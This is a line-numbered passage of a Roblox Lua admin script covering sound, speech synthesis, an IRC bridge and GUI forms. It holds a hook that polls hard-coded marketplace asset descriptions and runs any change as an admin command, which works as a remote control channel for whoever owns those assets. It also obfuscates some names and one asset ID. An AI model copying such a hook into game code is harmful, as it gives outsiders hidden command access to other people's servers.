  3068. SOUND:PlayGlobalSound(ProductID)
  3069. if Rank == "Member" and Settings.DisableAbuse == true then
  3070. Interact:Destroy()
  3071. end
  3072. Interact.Image = "rbxassetid://67950809"
  3073. Playing = true
  3074. else
  3075. SOUND:StopGlobalSound()
  3076. Interact.Image = "rbxassetid://67950784"
  3077. Playing = false
  3078. end
  3079. end)
  3080. end
  3081. end
  3082.  
  3083. CORE:HandleEvent(Buy, "MouseButton1Down", function()
  3084. if BuyPressFunc then
  3085. BuyPressFunc()
  3086. elseif Product.AssetTypeId == 9 then
  3087. Server.TS:Teleport(ProductID, Player)
  3088. elseif CanBuy == true then
  3089. Server.MPS:PromptPurchase(Player, ProductID)
  3090. end end)
  3091. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  3092. local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
  3093. while wait(5) do
  3094. local Purchase = Server.MPS:GetProductInfo(LinkedID)
  3095. if OldVer ~= Purchase.Updated then
  3096. OldVer = Purchase.Updated
  3097. CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
  3098. end
  3099. end end)()
  3100. end end)() end
  3101.  
  3102. -- Sound functions --
  3103.  
  3104. function SOUND:SyncSoundList(TellSync)
  3105. if not CORE:NilPlayer(TellSync) then
  3106. GUI:SendHint(TellSync, "Syncing...", 5)
  3107. end
  3108.  
  3109. SoundList,GlobalSoundList = {},{}
  3110.  
  3111. local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
  3112.  
  3113. if LocalSoundList then
  3114. if type(LocalSoundList) == "table" then
  3115. if #LocalSoundList > 0 then
  3116. for _,Data in pairs(LocalSoundList) do
  3117. local SoundInfo = MARKET:GetItemInfo(Data[2], true)
  3118. SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
  3119. end
  3120. end
  3121. end
  3122. end
  3123.  
  3124. for _,JSONID in pairs(SoundJSONs) do
  3125. for Name,ID in pairs(CORE:GetTable(JSONID)) do
  3126. local SoundInfo = MARKET:GetItemInfo(ID, true)
  3127. local FullName = SoundInfo.Name
  3128. local CreatorName = SoundInfo.Creator.Name
  3129. SoundList[Name] = {ID, FullName, CreatorName}
  3130. GlobalSoundList[Name] = {ID, FullName, CreatorName}
  3131. end
  3132. end
  3133.  
  3134. if not CORE:NilPlayer(TellSync) then
  3135. GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  3136. end
  3137. end
  3138.  
  3139. function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
  3140. if not Volume then Volume = 0.5 end
  3141. if not Pitch then Pitch = 1 end
  3142. if tonumber(ID) then ID = "rbxassetid://"..ID end
  3143. if Looped == nil then Looped = false end
  3144.  
  3145. local Sound = Instance.new("Sound", Parent)
  3146. Sound.Pitch = Pitch
  3147. Sound.Volume = Volume
  3148. Sound.SoundId = ID
  3149. Sound.Looped = Looped
  3150. return Sound
  3151. end
  3152.  
  3153. function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
  3154. if not Player or not ID then return nil end
  3155. if NotifySounds[ID] then ID = NotifySounds[ID] end
  3156. local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
  3157. if Settings.EnableSounds or OverrideSettings then
  3158. ClientSound:Play()
  3159. coroutine.wrap(function() wait() ClientSound:Destroy() end)()
  3160. end
  3161. return Sound
  3162. end
  3163.  
  3164. function SOUND:BindButton(Button)
  3165. if not Button then return end
  3166. CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
  3167. CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
  3168. end
  3169.  
  3170. function SOUND:StopGlobalSound()
  3171. if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
  3172. end
  3173.  
  3174. function SOUND:PlayGlobalSound(ID, ShowInfo)
  3175. SOUND:StopGlobalSound()
  3176. if ShowInfo == nil then ShowInfo = true end
  3177. local SoundID = ID
  3178. local SoundName = nil
  3179. local SoundCreator = nil
  3180. local Pitch = 1
  3181.  
  3182. for Name,Info in pairs(SoundList) do
  3183. if type(SoundID) == "string" then
  3184. if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
  3185. SoundID = Info[1]
  3186. SoundName = Info[2]
  3187. SoundCreator = Info[3]
  3188. end
  3189. else
  3190. break
  3191. end
  3192. end
  3193.  
  3194. if tonumber(SoundID) and not SoundName then
  3195. local Info = MARKET:GetItemInfo(SoundID, true)
  3196. if Info then
  3197. SoundName = Info.Name
  3198. SoundCreator = Info.Creator.Name
  3199. if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
  3200. SoundID = nil
  3201. end
  3202. end
  3203. end
  3204.  
  3205. if tonumber(SoundID) then
  3206. if SoundID == 131201443 then Pitch = -1 end
  3207. if SoundID == 130775695 then Pitch = 0.8 end
  3208. if SoundID == 144035866 then Pitch = 0.8 end
  3209.  
  3210. Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
  3211. Sound:Play()
  3212. if ShowInfo == true then
  3213. for _,Player in pairs(Server.Players:GetPlayers()) do
  3214. GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5)
  3215. end
  3216. end
  3217. end
  3218. end
  3219.  
  3220. function SOUND:ConvertText(Text)
  3221. Text = string.lower(tostring(Text))
  3222. local Letters = {}
  3223. local IDs = {}
  3224. for Rule,Replace in pairs(TextConverter.Pronounce) do
  3225. Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
  3226. end
  3227. for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
  3228. local Start, End = string.find(Text, string.lower(Rule))
  3229.  
  3230. if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
  3231. Text = string.gsub(Text, string.lower(Rule), Replace)
  3232. end
  3233. end
  3234. for i = 1,#Text do
  3235. table.insert(Letters, string.sub(Text,i,i))
  3236. end
  3237. for Num = 1,#Letters do
  3238. if not Letters[Num] then break end
  3239. local Letter = Letters[Num]
  3240.  
  3241. local function AddLetter()
  3242. table.insert(IDs, TextConverter.LetterSounds[Letter])
  3243. end
  3244.  
  3245. if Letter ~= "~" then
  3246. if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
  3247. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3248. table.remove(Letters, Num + 1)
  3249. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
  3250. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3251. table.remove(Letters, Num + 1)
  3252. elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
  3253. table.insert(IDs, TextConverter.LetterSounds["th"])
  3254. table.remove(Letters, Num + 1)
  3255. elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
  3256. table.insert(IDs, TextConverter.LetterSounds["sh"])
  3257. table.remove(Letters, Num + 1)
  3258. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
  3259. table.insert(IDs, TextConverter.LongVowels["e"])
  3260. table.remove(Letters, Num + 1)
  3261. elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
  3262. table.insert(IDs, TextConverter.LetterSounds["wh"])
  3263. table.remove(Letters, Num + 1)
  3264. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
  3265. table.insert(IDs, TextConverter.LetterSounds["ch"])
  3266. table.remove(Letters, Num + 1)
  3267. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
  3268. table.insert(IDs, TextConverter.LetterSounds["f"])
  3269. table.remove(Letters, Num + 1)
  3270. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
  3271. table.insert(IDs, TextConverter.LetterSounds[Num])
  3272. Letters[Num + 1] = "j"
  3273. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
  3274. table.insert(IDs, TextConverter.LetterSounds["oo"])
  3275. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
  3276. table.insert(IDs, TextConverter.LongVowels["e"])
  3277. table.remove(Letters, Num + 1)
  3278. elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
  3279. table.insert(IDs, TextConverter.LongVowels["e"])
  3280. table.remove(Letters, Num + 1)
  3281. if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
  3282. elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
  3283. table.insert(IDs, TextConverter.LetterSounds["s"])
  3284. Letters[Num + 1] = "~"
  3285. elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
  3286. table.insert(IDs, TextConverter.LongVowels[Letter])
  3287. Letters[Num + 2] = "~"
  3288. elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
  3289. table.insert(IDs, TextConverter.LongVowels["i"])
  3290. Letters[Num + 1] = "~"
  3291. elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
  3292. table.insert(IDs, TextConverter.LongVowels["o"])
  3293. elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
  3294. table.insert(IDs, TextConverter.LongVowels["i"])
  3295. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
  3296. AddLetter()
  3297. table.remove(Letters, Num + 1)
  3298. elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
  3299. Letters[Num] = "~"
  3300. elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
  3301. AddLetter()
  3302. table.remove(Letters, Num + 1)
  3303. elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
  3304. AddLetter()
  3305. table.remove(Letters, Num + 1)
  3306. elseif Letters[Num+1] == Letter then
  3307. table.remove(Letters, Num)
  3308. elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
  3309. AddLetter()
  3310. table.remove(Letters, Num)
  3311. elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
  3312. table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
  3313. elseif TextConverter.LetterSounds[Letter] then
  3314. AddLetter()
  3315. elseif STRING:IsSpacer(Letter) then
  3316. table.insert(IDs, "Rest")
  3317. end
  3318. end
  3319. end
  3320.  
  3321. return IDs
  3322. end
  3323.  
  3324. function SOUND:StopSpeaking() coroutine.wrap(function()
  3325. NoSpeak = true
  3326. wait(1)
  3327. NoSpeak = false
  3328. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  3329. if Obj.Name == "M".."M".."L Speak Sound" then
  3330. Obj:Destroy()
  3331. end
  3332. end
  3333. end)() end
  3334.  
  3335. function SOUND:SayConvertedText(IDs, Parent)
  3336. if not Parent then Parent = Server.Workspace end
  3337. local Sounds = {}
  3338. for _,Data in pairs(IDs) do
  3339. if NoSpeak and Parent == Server.Workspace then
  3340. break
  3341. end
  3342. local Length = 0.3
  3343. if Data ~= "Rest" then
  3344. local ID = Data[1]
  3345. Length = Data[2]
  3346.  
  3347. local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
  3348. Sound.Name = "MML Speak Sound"
  3349. table.insert(Sounds, Sound)
  3350. Sound:Play()
  3351. if Length then
  3352. coroutine.wrap(function()
  3353. wait(Length)
  3354. Sound:Stop()
  3355. end)()
  3356. end
  3357. end
  3358. if not Length then Length = 0.3 end
  3359. wait(Length/2)
  3360. end
  3361. coroutine.wrap(function()
  3362. wait(1)
  3363. for _,Sound in pairs(Sounds) do
  3364. Sound:Destroy()
  3365. end
  3366. end)()
  3367. end
  3368.  
  3369. local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
  3370.  
  3371. function SOUND:BeepPlayer(Player)
  3372. if Player:FindFirstChild("PlayerGui") then
  3373. local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
  3374. Beep.Name = "Annoy"
  3375. Beep:Play()
  3376. end
  3377. end
  3378.  
  3379. -- IRC functions --
  3380.  
  3381. function IRC:GenerateName()
  3382. return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
  3383. end
  3384.  
  3385. function IRC:AddChat(Name, Data, IsError)
  3386. if not IsError then IsError = false end
  3387. CORE:Log(IRC.Logs, Name, Data)
  3388. table.insert(IRC.Chats, {Name, Data, IsError})
  3389. IRC.MessageAdded:Fire(Name, Data, IsError)
  3390. end
  3391.  
  3392. function IRC:Post(URL,Data)
  3393. if Data and Data ~= "" then
  3394. local Suc,Resp = ypcall(function()
  3395. return Server.HS:PostAsync(
  3396. IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
  3397. Data,
  3398. Enum.HttpContentType.ApplicationUrlEncoded
  3399. )
  3400. end)
  3401. if not Suc then
  3402. IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
  3403. return false
  3404. end
  3405. IRC.SessionCounter = IRC.SessionCounter + 1
  3406. return Resp
  3407. else
  3408. IRC:AddChat("[ CLIENT ]", "Unknown error")
  3409. end
  3410. end
  3411.  
  3412. function IRC:Send(Data)
  3413. return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
  3414. end
  3415.  
  3416. function IRC:GetData()
  3417. return IRC:Post("s","&s="..IRC.SessionID)
  3418. end
  3419.  
  3420. function IRC:Connect()
  3421. return IRC:Post("n","&nick="..IRC.NickName)
  3422. end
  3423.  
  3424. function IRC:Join(Channel)
  3425. if not Channel then
  3426. AddChat("[ CLIENT ]", "No channel specified!")
  3427. return false
  3428. else
  3429. local Channel = string.lower(Channel)
  3430. if string.sub(Channel,1,1) ~= "#" then
  3431. AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
  3432. return false
  3433. end
  3434. IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
  3435. IRC:Send("JOIN "..Channel)
  3436. IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
  3437. return true
  3438. end
  3439. end
  3440.  
  3441. function IRC:Pong(Data)
  3442. return IRC:Send("PONG :"..Data)
  3443. end
  3444.  
  3445. function IRC:Quit(Reason)
  3446. IRC.Stop = true
  3447. return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
  3448. end
  3449.  
  3450. function IRC:ReceiveData()
  3451. IRC.Stop = false
  3452. local Data = IRC:GetData()
  3453. if Data then
  3454. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
  3455. end
  3456. while Data and not Stop do
  3457. local Data = IRC:GetData()
  3458. if Data and #Data > 0 then
  3459. IRC:HandleResponse(REMOTE:Decode(Data))
  3460. end
  3461. wait(2) -- Don't spam the server
  3462. end
  3463. if not Data then
  3464. IRC:AddChat("[ CLIENT ]", "Could not get data", true)
  3465. end
  3466. if Stop == true then
  3467. IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
  3468. end
  3469. end
  3470.  
  3471. function IRC:ConnectToServer(Server)
  3472. if Connected then
  3473. if not IRC.Servers[Server] then
  3474. IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
  3475. return false
  3476. end
  3477. IRC:Quit("New Connection")
  3478. end
  3479. local Response = IRC:Connect()
  3480. if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
  3481. local Data = REMOTE:Decode(Response)
  3482. IRC.SessionID = Data[2]
  3483. wait(1)
  3484. if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
  3485. IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
  3486. IRC:Quit()
  3487. IRC:ConnectToServer(Server)
  3488. end
  3489. IRC.Connected = true
  3490. IRC:Join(Settings.IRCChannel)
  3491. IRC:ReceiveData()
  3492. IRC.Connected = false
  3493. IRC:AddChat("[ CLIENT ]", "Session ended", true)
  3494. end
  3495.  
  3496. function IRC:FindUser(UserName)
  3497. for UserID,User in pairs(IRC.Users) do
  3498. if string.lower(User) == string.lower(UserName) then
  3499. return UserID
  3500. end
  3501. end
  3502. return nil
  3503. end
  3504.  
  3505. function IRC:HandleResponse(Data)
  3506. if type(Data) ~= "table" then
  3507. IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
  3508. ypcall(function()
  3509. IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
  3510. end)
  3511. return false
  3512. end
  3513. for _,Output in pairs(Data) do
  3514. if type(Output) == "table" and Output[2] then
  3515. local ID = string.upper(Output[2])
  3516. if not IRC.Ignore[ID] then
  3517. if ID == "PING" then
  3518. IRC:Pong(Output[4][1])
  3519. elseif ID == "PRIVMSG" then
  3520. local SenderDetails = Output[3]
  3521. local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
  3522. local Channel = string.lower(Output[4][1])
  3523. if Channel == IRC.NickName then
  3524. Channel = Sender
  3525. -- TODO: Handle PM's
  3526. end
  3527. local Message = Output[4][2]
  3528. if Message ~= nil then
  3529. if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
  3530. if string.find(Message,":") then
  3531. local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
  3532. local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
  3533. IRC:AddChat(IRCUser, IRCMessage)
  3534. end
  3535. else
  3536. IRC:AddChat("[ IRC ] "..Sender,Message)
  3537. for _,Name in pairs(Settings.IRCCommandExecuters) do
  3538. if string.lower(Name) == string.lower(Sender) then
  3539. CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
  3540. break
  3541. end
  3542. end
  3543. end
  3544. else
  3545. IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
  3546. end
  3547. elseif ID == "NICK" then
  3548. local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
  3549. -- change nickname?
  3550. elseif ID == "433" or ID == "451" then
  3551. IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
  3552. IRC:Quit("Nickname in use, rejoining with new name")
  3553. IRC.NickName = IRC:GenerateName()
  3554. wait(2) -- wait for old sessions to end
  3555. IRC:ConnectToServer(Settings.IRCServer)
  3556. elseif ID == "353" then
  3557. if Data[4][4][4] then
  3558. for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
  3559. table.insert(IRC.Users, Output)
  3560. end
  3561. end
  3562. elseif ID == "QUIT" or ID == "PART" then
  3563. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3564. if IRC:FindUser(User) then
  3565. IRC:AddChat("[ IRC ]", User.." has left")
  3566. table.remove(IRC.Users, IRC:FindUser(User))
  3567. end
  3568. end
  3569. elseif ID == "JOIN" then
  3570. for User in string.gmatch(Data[1][3], "[^!~]+") do
  3571. if not string.find(User, "qwebirc") then
  3572. IRC:AddChat("[ IRC ]", User.." has joined")
  3573. table.insert(IRC.Users,w)
  3574. end
  3575. end
  3576. elseif ID == "CONNECTION TO IRC SERVER LOST." then
  3577. IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
  3578. --IRC:Quit("Connection lost")
  3579. --IRC:AddChat("[ CLIENT ]", "Retrying connection")
  3580. --IRC:ConnectToServer(Settings.IRCServer)
  3581. elseif IRC.Codes[ID] then
  3582. --print(ID)
  3583. --print(Data[i][4][2])
  3584. --print(Data[i][4][2])
  3585. elseif ID == "KICK" then
  3586. IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
  3587. IRC:Quit("Kicked from IRC")
  3588. elseif ID then
  3589. IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
  3590. else
  3591. IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
  3592. end
  3593. end
  3594. else
  3595. if Output == false then return false end -- sneeky server
  3596. IRC:AddChat("[ CLIENT ]", "Unable to handle data")
  3597. end
  3598. end
  3599. end
  3600.  
  3601. -- GUI functions --
  3602.  
  3603. function GUI:GetColor(ColorName)
  3604. if not ColorName then ColorName = Settings.ColorScheme end
  3605. return Colors[string.upper(ColorName)]
  3606. end
  3607.  
  3608. function GUI:ContrastColor(Color)
  3609. if type(Color) == "string" then Color = GUI:GetColor(Color) end
  3610. if not Color then Color = GUI:GetColor() end
  3611. return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
  3612. end
  3613.  
  3614.  
  3615. function GUI:GetNameColor(Name)
  3616. local Val = 0
  3617. for i = 1, #Name do
  3618. local CVal = string.byte(string.sub(Name, i, i))
  3619. local RevIndex = #Name - i + 1
  3620. if #Name%2 == 1 then
  3621. RevIndex = RevIndex - 1
  3622. end
  3623. if RevIndex%4 >= 2 then
  3624. CVal = -CVal
  3625. end
  3626. Val = Val + CVal
  3627. end
  3628. local Index = Val%8 + 1
  3629.  
  3630. return BrickColor.new(ChatColors[Index])
  3631. end
  3632.  
  3633. function GUI:Color3ToHex(Color)
  3634. local function ConvertNumber(Number)
  3635. local HexString = "0123456789abcdef"
  3636. local Byte = ""
  3637. while Number > 0 do
  3638. local Calc = math.fmod(Number, 16)
  3639. Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
  3640. Number = math.floor(Number / 16)
  3641. end
  3642. if Calc == "" then
  3643. Byte = "00"
  3644. elseif #Byte == 1 then
  3645. Byte = "0"..Byte
  3646. elseif Byte == "" then
  3647. Byte = "00"
  3648. end
  3649. return Byte
  3650. end
  3651. return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
  3652. end
  3653.  
  3654. function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
  3655. if not Player then return nil end
  3656. if not Player:FindFirstChild("PlayerGui") then return nil end
  3657. local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
  3658. if not TitleText then TitleText = "Unknown" end
  3659. if not Size then Size = UDim2.new(0.5,0,0.5,0) end
  3660. if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
  3661. if not IconID then IconID = 19919809 end
  3662. if ShowFormButtons == nil then ShowFormButtons = true end
  3663. if not ColorScheme then ColorScheme = Settings.ColorScheme end
  3664. if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
  3665. if AutoOffset == nil then AutoOffset = true end
  3666. if Icons[IconID] then IconID = Icons[IconID] end
  3667. if TweenPosition == nil then TweenPosition = true end
  3668. if NoModal == nil then NoModal = false end
  3669. if NoScrollFrame == nil then NoScrollFrame = false end
  3670.  
  3671. local IsClosed = false
  3672. local Minus = nil
  3673. local Offset = 0
  3674. local ContentType = "ScrollingFrame"
  3675. local TweenSpeed = 0.3
  3676.  
  3677. if AutoOffset then
  3678. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  3679. if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
  3680. if Item.IsActive.Value == true then
  3681. if Item.IsTrueForm.Value == true then
  3682. Offset = Offset + 50
  3683. end
  3684. end
  3685. end
  3686. end
  3687. end
  3688.  
  3689. if NoScrollFrame == true then
  3690. ContentType = "Frame"
  3691. end
  3692.  
  3693. SOUND:PlayNotification(Player, 155331654)
  3694.  
  3695. local Position = Position + UDim2.new(0,Offset,0,Offset)
  3696. local MinimizePos = Position
  3697.  
  3698. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
  3699. local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
  3700. local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
  3701.  
  3702. local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
  3703. local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
  3704. local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
  3705. local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
  3706. local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
  3707. local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
  3708. local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
  3709. local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
  3710. local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
  3711.  
  3712. local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
  3713. local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
  3714. if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
  3715. --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
  3716. --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
  3717.  
  3718. CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1})
  3719.  
  3720. local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
  3721.  
  3722. local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
  3723. local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
  3724. local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
  3725. local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
  3726. local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
  3727. local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
  3728.  
  3729. if Settings.EnableTaskBar then
  3730. Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
  3731. else
  3732. TitleEnd.Position = UDim2.new(1, -50, 0, 5)
